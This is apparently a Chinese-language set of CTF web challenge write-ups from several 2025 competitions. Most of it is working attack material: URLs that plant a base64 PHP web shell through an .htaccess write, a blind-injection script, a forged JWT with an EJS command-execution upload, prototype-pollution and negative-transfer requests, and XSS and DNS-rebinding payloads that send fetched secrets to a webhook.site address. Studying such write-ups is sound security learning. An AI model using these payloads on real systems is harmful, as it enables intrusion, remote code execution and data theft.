QnQSec CTF 2025 web FaaS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $cmd = $_GET['cmd' ]; if (!isset ($cmd)) { highlight_file(__FILE__ ) && die (); } if (strpos($cmd, ";" ) !== False || strpos($cmd, "|" ) !== False || strpos($cmd, "$" ) !== False || strpos($cmd, "`" ) !== False || strpos($cmd, "&" ) !== False || strpos($cmd, "\n" ) !== False || strpos($cmd, ">" ) !== False || strpos($cmd, "<" ) !== False || strpos($cmd, "(" ) !== False || strpos($cmd, ")" ) !== False || strpos($cmd, " " ) !== False || strpos($cmd, "\r" ) !== False || strpos($cmd, "+" ) !== False || strpos($cmd, "{" ) !== False || strpos($cmd, "}" ) !== False || strpos($cmd, "[" ) !== False || strpos($cmd, "]" ) !== False ) { die ("Bad bad hacker :<" ); } $cmd = "find " . $cmd; system($cmd);
分析并尝试之后得出几个可以确定的点:
过滤了的这些字符,无法实现另起一个命令
-exec这条路走不通
然后一番查找找到 -fprintf 这个东西,通过find -fprintf 可以实现任意文件写入。
那剩下就是任意写入文件漏洞的攻击。经过尝试之后又可以分析出几点:
过滤了尖括号,无法直接写入PHP文件
无法写入定时任务
最后通过.htaccess 经过一个base64.
htaccess的内容:
1 php_value auto_prepend_file php://filter /read =convert .base64-decode/resource=a .jpg
再写入一个a.jpg的shell
http://161.97.155.116:8888/?cmd=/bin/whoami%09-fprintf%09.htaccess%09"php_value%09auto_prepend_file%09php://filter/read=convert.base64-decode/resource=a.jpg"
http://161.97.155.116:8888/?cmd=/bin/whoami%09-fprintf%09a.jpg%09"PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjJ10pKSB7CiAgICBAc3lzdGVtKCRfR0VUWydjJ10pOwp9"&c=/readflag%20i%20want%20the%20flag%20please
QnQSec{big_thanks_2_🍊_4876three}
大部分人用的fprintf支持8禁止编码解的。
QnQSec CTF 2025 web Date-Logger 传入一个超大的PHPSESSID=8889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988891;
会触发服务端报错。
Warning : session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line
直接盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import requestsimport timeimport stringURL = "http://161.97.155.116:8889/" HEADERS = { 'Cache-Control' : 'max-age=0' , 'Origin' : 'http://161.97.155.116:8889' , 'Content-Type' : 'application/x-www-form-urlencoded' , 'Upgrade-Insecure-Requests' : '1' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' , 'Referer' : 'http://161.97.155.116:8889/' , 'Cookie' : 'PHPSESSID=888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988891;' , 'Accept-Encoding' : 'gzip, deflate, br' , 'Accept-Language' : 'en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7' , 'Connection' : 'keep-alive' } def solve_blind_injection () : """ 执行布尔盲注攻击来获取flag,尝试所有可见的ASCII字符。 """ charset = string.ascii_letters + string.digits + string.punctuation + '{}' known_flag = "QnQSec{f_u_linux_" session = requests.Session() print("[*] 开始进行布尔盲注攻击..." ) print(f"[*] 已知前缀: {known_flag} " ) print(f"[*] 将会尝试的字符集: {charset} " ) while not known_flag.endswith('}' ): found_next_char = False for char_to_guess in charset: payload = known_flag + char_to_guess post_data = {'search' : payload} print(f"\r[*] 正在尝试: {payload.ljust(60 )} " , end="" ) try : response = session.post(URL, headers=HEADERS, data=post_data, timeout=10 ) response.raise_for_status() if 'session_destroy' in response.text: known_flag += char_to_guess print(f"\n[+] 字符找到! 当前Flag: {known_flag} " ) found_next_char = True break except requests.exceptions.Timeout: print(f"\n[!] 请求超时: 正在尝试 '{payload} '" ) print("[*] 可能是网络问题或服务器响应慢,继续尝试下一个字符..." ) continue except requests.exceptions.RequestException as e: print(f"\n[!] 请求出错: {e} " ) print("[*] 脚本将在5秒后重试..." ) time.sleep(5 ) continue if not found_next_char: print("\n[!] 无法找到下一个字符。可能的原因:" ) print(" 1. 目标flag包含的字符不在当前字符集中。" ) print(" 2. 攻击逻辑失效或已被修复。" ) print(" 3. 网络连接不稳定。" ) break print("\n[+] 攻击完成!" ) if known_flag.endswith('}' ): print(f"[*] 最终找到的Flag是: {known_flag} " ) else : print(f"[*] 攻击中止,当前已找到的部分: {known_flag} " ) if __name__ == "__main__" : solve_blind_injection()
1 2 3 4 5 6 7 [*] 正在尝试: QnQSec {f_u_linux_ :sad:! [+] 字符找到! 当前Flag: QnQSec{f_u_linux_:sad:! [*] 正在尝试: QnQSec{f_u_linux_:sad:!} [+] 字符找到! 当前Flag : QnQSec {f_u_linux_ :sad:!}[+] 攻击完成![*] 最终找到的Flag 是: QnQSec {f_u_linux_ :sad:!}
N1CTF 2025 eezzjs 这里思路比较直接:突破JWT校验,上传,然后利用SSTI命令执行来获取Flag.
这个分析费劲了一会,都快分析出来了,然后一搜索,结果发现是个CVE.
https://github.com/advisories/GHSA-95m3-7q98-8xr5
核心就是传入一个对象,对象有length属性,可以设置成负数,实现回滚。
1 2 3 4 > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d3041341342 2d706483 bfa0f98a5e886266 e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3 }).digest('hex') '2c26b46b68ffc68ff99b453c1d3041341342 2d706483 bfa0f98a5e886266 e7ae'
题目中,传入了三个参数进行,前两个都是可控的,主要是最后一个secret是未知的。
这里的关键点就是,回滚的长度把secret和header的长度都算上。
这样算下来 长度是45,那么payload就是{"length":-45}
1 2 3 4 5 6 7 8 9 10 11 12 const sha256 = (...messages ) => { const hash = sha('sha256' ); messages.forEach((m ) => { console .log(typeof m); console .log(m); hash.update(m); }); return hash.digest('hex' ); }; const expectedSignatureHex = sha256(...[JSON .stringify(header), payload, secret]);
然后本地调试 拿到响应的签名值是674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
最后Token是 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NX0=.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
然后是突破上传 文件后缀不允许出现js字符串。
1 2 3 4 if (/js/i.test(ext)) { return res.status(403 ).send ('Denied filename' ) }
这里踩了点坑,思路乱了,应该用排除法,确定一些已经能够定下来的东西,再从旁边去突破。 例如这里一定确定了一定使用ejs,那剩下突破应该是主要在上传。
最后上传的payload.
1 {"filename" :"../views/flag3.ejs/." ,"filedata" :"ew0KICAiZmlsZW5hbWUiOiAic2hlbGwuZWpzIiwNCiAgImZpbGVkYXRhIjogIjwlPSBnbG9iYWwucHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnY2F0IC9mbGFnJykudG9TdHJpbmcoKSAlPiINCn0=" }
群里看到一种更有意思的解法
upload pwned.pwned to /app/views/pwned.pwned: {“filename”:”../views/pwned.pwned”,”filedata”:”dGVzdAo=”}
upload pwned to /app/node_modules/:
1 {"filename" :"../node_modules/pwned" ,"filedata" :"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07" }
1 2 3 4 5 function __express ( ) { console .log('pwnedb' ); } module .exports = { __express };
AmateursCTF 2025 web/desafe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import { serve } from '@hono/node-server' import { Hono } from 'hono' import { readFileSync } from 'fs' import * as devalue from 'devalue' ;const app = new Hono()const FLAG = readFileSync('flag.txt' )class FlagRequest { constructor (feedback) { delete { feedback } } get flag() { if (this .admin) { return FLAG; } else { return "haha nope" } } } app.get('/' , (c) => { return c.text(`POST / Body: FlagRequest(feedback), must be devalue stringified` )}) app.post('/' , async (c) => { const body = await c.req.text(); const flagRequest = devalue.parse(body, { FlagRequest: ([a] ) => new FlagRequest(a), }) if (!(flagRequest instanceof FlagRequest)) return c.text('not a flag request' ) return c.text(flagRequest.flag) }) serve({ fetch: app.fetch, port: 3000 }, (info) => { console .log(`Server is running on http://localhost:${info.port} ` ) })
CVE-2025-57820 https://github.com/advisories/GHSA-vj54-72f3-p5jv
1 [{"x" :1 ,"y" :2 ,"admin" :3 ,"__proto__" :4 },3 ,4 ,true ,["FlagRequest" ,5 ],[6 ,7 ],8 ,9 ]
PwnSec CTF 2025 | A Very Safe Locker Indeed 减去负数金额 就是加上
1 2 3 4 5 6 7 8 9 10 11 const transaction_amount = parseFloat (amount) * 1.01 if (user_from.mainBalance >= transaction_amount && transaction_amount > 0 ) { user_from.mainBalance -= transaction_amount await user_from.save() } else { return res.render('index' , { user: req.user, balance: user_from.mainBalance, failMessage: 'Insufficient balance to cover the transfer and fees.' , }) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /transfer HTTP/1.1Host : 1962bfce2e7d7acb.chal.ctf.aeCookie : session=s%3Aj%3A%7B%22userId%22%3A%226918ab0eeb20bf4d1b5e4628%22%2C%22firstName%22%3A%22test%22%2C%22lastName%22%3A%22test%22%2C%22phoneNumber%22%3A%222323232%22%2C%22email%22%3A%22a%40qq.com%22%7D.a5boElllkfAE6N3GSsk6aFbx5ombeTAdwjcE0lXxxFgContent-Length : 65Cache-Control : max-age=0Sec-Ch-Ua : "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Origin : https://1962bfce2e7d7acb.chal.ctf.aeContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : https://1962bfce2e7d7acb.chal.ctf.ae/Accept-Encoding : gzip, deflate, brAccept-Language : en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7Priority : u=0, iConnection : keep-alivereceiverInfo=6918ab0eeb20bf4d1b5e46281&amount=-100000000000000000
绕过csp,注意闭合
1 /locker?userMessage =\"}`;alert(1);a =``
获取 /master/confedential 响应结果然后使用location重定向进行外发。
1 \"}`;fetch(`/master/confedential`).then(Function.prototype.call.bind(Response.prototype.text)).then(function(t){location.href=`https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?`+t});a=`
PwnSec CTF 2025 | OhMyPP 原型链污染,把可执行路径换成上传的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /report HTTP/1.1Host : 1f4e39599ee9b212.chal.ctf.aeContent-Length : 171Sec-Ch-Ua-Platform : "Windows"User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Sec-Ch-Ua : "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Content-Type : application/jsonSec-Ch-Ua-Mobile : ?0Accept : */*Origin : https://1f4e39599ee9b212.chal.ctf.aeSec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : https://1f4e39599ee9b212.chal.ctf.ae/reportAccept-Encoding : gzip, deflate, brAccept-Language : en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7Priority : u=1, iConnection : keep-alive{"username": "__proto__", "issue": "executablePath", "description": "/app/static/16976a3b3c7ae6b11cf3523983fa2bf2", "url": "http://example.com"}
PwnSec CTF 2025 | FireLeak 主要用了一个trick,让浏览器重新获取IP。初始ip直接拒收流量。 这里我用的python的base http,直接拒收服务。
踩了个大坑,webhook一直收不到,原来是触发了webhook的风控,直接把我给ban了。绝了,浪费时间。
DNS重绑定,用了这个服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Payload</title > </head > <body > <script > setTimeout(function () { var firstErrorSent = false ; var interval_xhr = setInterval(function () { var xhr = new XMLHttpRequest(); xhr.open('GET' , '/flag' , false ); try { xhr.send(); } catch (error) { if (!firstErrorSent) { navigator.sendBeacon('https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?catch_error=' + encodeURIComponent (error.message)); firstErrorSent = true ; } return ; } if (xhr.status !== 404 && xhr.status !== 0 ) { clearInterval(interval_xhr); navigator.sendBeacon('https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?status_xhr=' + xhr.status, xhr.responseText); } }, 500); }, 10); </script > </body > </html >
PwnSec CTF 2025 | PSPD 这个XSS的输出点,给了个非常迷惑性的玩意,让人觉得是用户名注入。
但其实浏览器js中,id名字可以直接js中使用。
所以,一个a标签,id名字取成userData。
<a href="https://%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%20%2F%3E@x.com" id="userData"></a>
那么 userData.username 取的是href链接里的那部分……
也太trick了…..
1 2 3 4 5 6 7 8 userDataElement.insertAdjacentHTML( "beforeend" ,`<p style='margin-top: 3rem;'>Not agent <b>${decodeURIComponent ( userData.username )} </b>? Report this incident to +111-337-1337</p>`); } catch (err) { console .error(err);
PwnSec CTF 2025 | MaxPayne https://github.com/pallets/werkzeug/issues/2833
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 根据搜索结果,您提供的链接指向的推文(来自 @pilvar222)讨论的是 PHP 中的一个特性(或更准确地说,是一个配置项)——max_input_vars。 这个特性是 PHP 用来限制单个请求(如 GET, POST 或 COOKIE)中所能接受的输入变量的最大数量。 详细解释: 是什么 (What)? max_input_vars 是在 php.ini 配置文件中的一个指令。它定义了 PHP 脚本在一次请求中可以处理的最大变量数量。 为什么 (Why)? 这个限制主要是出于安全考虑。如果不设限制,攻击者可能会发送一个包含海量变量的请求(例如,一个非常庞大的 POST 表单)。这可能会消耗服务器大量的资源(CPU 和内存)来解析这些变量,导致服务器性能下降甚至崩溃,这是一种潜在的拒绝服务(DoS)攻击。 默认值 (Default Value)? 在 PHP 5.3 .9 及以后的版本中,这个值的默认设置通常是 1000 。 如何工作 (How)? 当一个 HTTP 请求(例如用户提交表单)到达服务器时,PHP 会开始解析请求中的数据(如 foo=bar&baz=qux...)。 如果请求中的变量数量小于或等于 max_input_vars 的限制(例如 1000 ),所有变量都会被正常解析并填充到 $ _GET、$ _POST 或 $ _COOKIE 等超全局数组中。 如果请求中的变量数量超过了这个限制(例如 1001 个),PHP 会停止解析。它会接受前 1000 个变量,而第 1001 个及之后的所有变量都将被丢弃,并且 PHP 会产生一个 E_WARNING 级别的错误。 潜在的安全风险(推文可能讨论的重点): 这个“截断”行为可能会引入严重的安全漏洞,尤其是当应用程序的逻辑依赖于那些“可能被截断”的变量时。 举个例子: 假设一个应用有一个更新用户设置的表单,它发送了 1001 个变量。最后一个变量(第 1001 个)可能是一个关键的安全令牌(如 CSRF token)或者是一个“确认”按钮的值。 POST Data: var_1=a var_2=b ... var_999=y var_1000=z var_1001=security_token_value <-- 攻击者故意构造的第1001 个变量 如果 max_input_vars 是 1000 : 服务器只会接收到 var_1 到 var_1000。 var_1001(即 security_token_value)会被丢弃。 如果应用程序的 安全检查逻辑是 "IF security_token is present AND valid THEN..." ,由于 security_token 根本不存在于 $ _POST 数组中,这个检查可能会被意外绕过。 Tenable 的一篇分析文章(在搜索结果中被引用)就提到了这一点,即这种变量截断可能被用来绕过某些安全检查或函数调用。推文作者(@pilvar222)很可能是在演示或讨论这种由 max_input_vars 限制导致的漏洞。 总结: 这个特性是 PHP 的一个内置安全机制,用于防止 DoS 攻击。然而,如果开发者不了解这个限制,或者攻击者恶意利用这个“截断”行为,它就可能反过来成为一个安全漏洞的入口。 您问到了点子上了。您发的这个推文(以及它背后讨论的技术)确实是关于一个非常巧妙的 CSP 绕过技巧,而这个技巧的核心就是利用我上次提到的 max_input_vars。 这(max_input_vars)本身不是 CSP 漏洞,但它的一个副作用可以被用来**“毒害”**服务器的响应,从而使 CSP 标头失效。 绕过原理:”标头前置“规则 这个绕过的核心原理,在于 PHP 的一个基础规则: header() 函数必须在任何实际输出(HTML、文本,甚至是一个空格)之前被调用。 Content-Security-Policy (CSP) 是通过 HTTP 标头(Header)发送给浏览器的。在 PHP 中,这意味着开发者会使用 header("Content-Security-Policy: ..." ) 这样的代码来设置它。 如果 PHP 脚本在调用 header() 之前不小心输出了任何内容(哪怕是一个 Warning 警告信息),那么这个 header() 调用将静默失败,CSP 标头根本不会被发送。 max_input_vars 的妙用(攻击链) @pilvar222 展示的技巧就是如何强制 PHP 在 header() 函数被调用之前产生输出。 攻击者的目标: 网站上有一个 XSS 漏洞(例如 echo $ _GET['xss' ];),但它被一个严格的 CSP 策略(如 default-src 'self' )所保护,导致脚本无法执行。 max_input_vars 的副作用: 当 PHP 收到的输入变量(例如 GET 参数)数量超过了 php.ini 中设定的 max_input_vars 值(默认 1000 )时,PHP 不仅会截断变量,它还会在响应的最开头自动输出一个 Warning(警告)信息。 例如:<b>Warning</b>: Input variables exceeded 组合攻击: 攻击者现在构造一个恶意 URL,这个 URL 同时包含 负载和超过 个的“垃圾”参数。 正常 URL 被 拦截///page.php?xss=<svg/ 响应: HTTP/1.1 200 OK Content-Security-Policy: default-src ... <svg/onload=alert(1)> (不执行) 恶意 URL 绕过///page.php?xss=<svg/ 服务器处理流程: PHP 开始处理请求。 PHP 发现有 个( 个)输入变量,超过了 的限制。 PHP 立即向响应体输出警告:/b>: Input variables exceeded... page.php 脚本继续执行,它尝试设置 CSP:header()。 因为前面已经有了输出(那个 Warning),header() 函数调用失败。 脚本继续执行,最后输出 XSS 负载:echo $_GET[]; 最终响应 (发送给浏览器): HTTP/没有 标头/b>: Input variables exceeded... <svg/成功执行 总结 这个技巧的精髓在于:利用 max_input_vars 这个用于防范 的安全特性,使其产生一个“有副作用”的警告输出,这个输出破坏了 标头设置的前提条件,最终导致 策略被完全移除,从而使 攻击得以成功。 这在 CTF 挑战和现实世界的漏洞挖掘中都是一个非常高级和巧妙的技巧。
Devil Net v2 1 2 3 4 5 6 7 8 9 10 这个解法比我之前提到的“Header 重定向”要高级得多,也更符合高质量 CTF 题目的考点。这是一种基于 CSP(内容安全策略)Oracle 和 HTTP 响应截断 的 XS-Leak(跨站泄露)攻击。 核心原理总结 这个脚本利用了 CRLF 注入漏洞做了三件事,组合起来实现逐字节爆破 Flag: 上下文篡改 (Context Confusion):通过注入 <style> 标签,强行让浏览器把原本是 HTML 的页面内容解析为 CSS 样式表。 响应截断 (Response Truncation):通过注入恶意的 Content-Length 头,控制浏览器只读取页面的一小部分(刚好读到我们猜测的 Flag 字符位置)。 CSP 哈希预言机 (CSP Hash Oracle):利用 Content-Security-Policy-Report-Only 头,告诉浏览器:“如果这段 CSS 内容的哈希值不是我算出来的这个,就发个报错报告给我”。
Backup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import socketimport jsonhost = "192.168.31.34" port = 3002 data = {"ixxp" : "192.168.31.34" } body = json.dumps(data) for byte in range(256 ): request = ( b"POST /ping%2f.." + bytes([byte]) + b"/debug" + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(len(body)).encode() + b"\r\n" b"Connection: close\r\n" b"\r\n" + body.encode() ) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(request) response = s.recv(4096 ).decode() if "address" in response: print(response) print(f"Bypass found with byte \\x{byte:02 x} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import osimport datetimeimport sysimport tracebackimport inspectdef obj_walker (obj,searcher,filter,depth=10 ) : visited = set() def backtrace () : stack = inspect.stack() path = [] for i in stack: if (i.function == "dfs" ): try : path.append(i.frame.f_locals['name' ]) except Exception as e: raise e print('.' .join(path[::-1 ])) def dfs (current,d,name,visited) : visited = set(visited) if filter(name): return if searcher(current): backtrace() return if id(current) in visited: return if d > depth: return visited.add(id(current)) for i in dir(current): try : next = getattr(current,i) dfs(next,d+1 ,i,visited) except AttributeError as e: pass if isinstance(current, dict): for k,v in current.items(): dfs(k,d+1 ,f'[{k} ]' ,visited) dfs(v,d+1 ,f'[{k} ]' ,visited) if isinstance(current, list): i = 0 for next in current: i += 1 dfs(next,d+1 ,f'[{i} ]' ,visited) dfs(obj,0 ,'' ,visited) def searcher (i) : if hasattr(i,'__name__' ) and i.__name__ == 'popen' : print(i) return True return False def filter (name) : if '__' in name: return True return False obj_walker(sys.modules,searcher,filter,4 )